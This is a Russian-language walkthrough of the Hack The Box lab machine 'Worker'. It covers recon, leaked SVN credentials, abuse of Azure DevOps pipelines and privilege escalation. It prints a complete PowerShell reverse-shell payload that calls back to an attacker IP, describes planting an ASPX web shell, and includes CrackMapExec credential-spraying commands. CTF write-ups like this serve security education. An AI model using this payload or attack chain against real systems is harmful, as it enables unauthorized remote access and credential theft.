Azure DevOps Serve-продукт от Microsoft Corporation, который представляет собой комплексное решение, сочетающее в себе систему контроля версий, сбор данных, отчетность, статус и отслеживание изменений для проекта и предназначенное для совместной работы над проектами разработки программного обеспечения. Продукт доступен как отдельное приложение, аналогичное по функциям облачной службе Azure DevOps Services (до 2019 года называлась Visual Studio Team Services, VSTS)
Recon
Данная машина имеет IP адрес 10.10.10.192, который я добавляю в /etc/hosts.
10.10.10.203 worker.htb
Первым делом сканируем открытые порты. Я это делаю с помощью следующего скрипта, принимающего один аргумент — адрес сканируемого хоста:
#!/bin/bash
ports=$(nmap -p- --min-rate=500 $1 | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)
nmap -p$ports -A $1
И нам доступны веб сервер и служба SVN. Веб нам пока ничего предложить не может.
Давайте обратимся к службе svn. Subversion — это свободная централизованная система управления версиями. Давайте полцчим базовую информацию.
svn info svn://worker.htb
И мы знаем базовую ветку, автора и что мы можем узнать последние пять изменений.
Entry Point
Посмотрим список файлов в данной ветке.
svn list svn://worker.htb
Имеем директорию и файл. Скачиваем все к себе на хост.
svn export svn://worker.htb/dimension.worker.htb/
svn export svn://worker.htb/moved.txt
И из последнего файла узнаем новый поддомен.
Добавим его в /etc/hosts.
10.10.10.203 devops.worker.htb
Но там нас встречает HTTP аутентификация. Давайте посмотрим последние изменения. На втором шаге мы находим интересный файл, не встречавшийся ранее.
svn checkout -r 1 svn://worker.htb
svn checkout -r 2 svn://worker.htb
Применим изменения, чтобы получить данный файл.
svn up -r 2 deploy.ps1
И в данном powershell скрипте обнаружим учетные данные.
С найденными учетными данными получается аутентифицироваться на сайте.
USER
Обратим внимание на репозиторий и то, что он содержит код.
Используем название репозитория как субдомен, занеся его в /etc/hosts.
10.10.10.203 spectral.worker.htb
И нас встречает сайт.
Это вектор RCE. Давайте внесем изменения, добавив на сервере ASPX шелл. Создадим новую ветку, добавим файл, добавим задачу, и сделаем ветку основной.
И после применения всех изменений, обратимся к нашему файлу.
Давайте получим полноценный шелл. Для этого запустим листенер и выполним Powershell бэкконнект.
$client = New-Object System.Net.Sockets.TCPClient('10.10.14.115',4321);
$stream = $client.GetStream();
[byte[]]$bytes = 0..65535|%{0};
while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){
$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);
$sendback = (iex $data 2>&1 | Out-String );
$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';
$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);
$stream.Write($sendbyte,0,$sendbyte.Length);
$stream.Flush()
}; $client.Close()
И получаем шелл.
Немного осмотревшись, находим директории с конфигурациями.
И в файле passwd есть много пар логинов и паролей.
А по открытым портам определяем работающую службу WinRM.
Давайте сделаем списки пользователей и паролей.
cat logpass.txt | tr -d ' ' | cut -f 1 -d '=' > user.txt
cat logpass.txt | tr -d ' ' | cut -f 2 -d '=' > pass.txt
А темеперь выполним подбор пар учетных данных с помощью CrackMapExec.
cme winrm -u user.txt -p pass.txt --no-bruteforce --continue-on-success worker.htb
И как итог, мы находим учетные данные системного пользователя. Подключаемся и забираем флаг.
ROOT
С этими же учетными данными мы возвращаемся на наш сайт.
Но в этот раз мы можем создать свой проект и выполнить произвольные команды через консоль. Так давайте сделаем это.
В данном файле мы убираем pool и в steps -> script пишем то, что должна выполнить система. К примеру, загрузить и выполнить прежний шелл.
И в окне листенера наблюдаем новое подключение, но теперь шелл с высокими привилегиями.
Вся информация предоставлена только в образовательных целях. Автор этого документа не несет ответственности за любой ущерб, причиненный кому-либо в результате использования знаний и методов, полученных при изучении этого документа.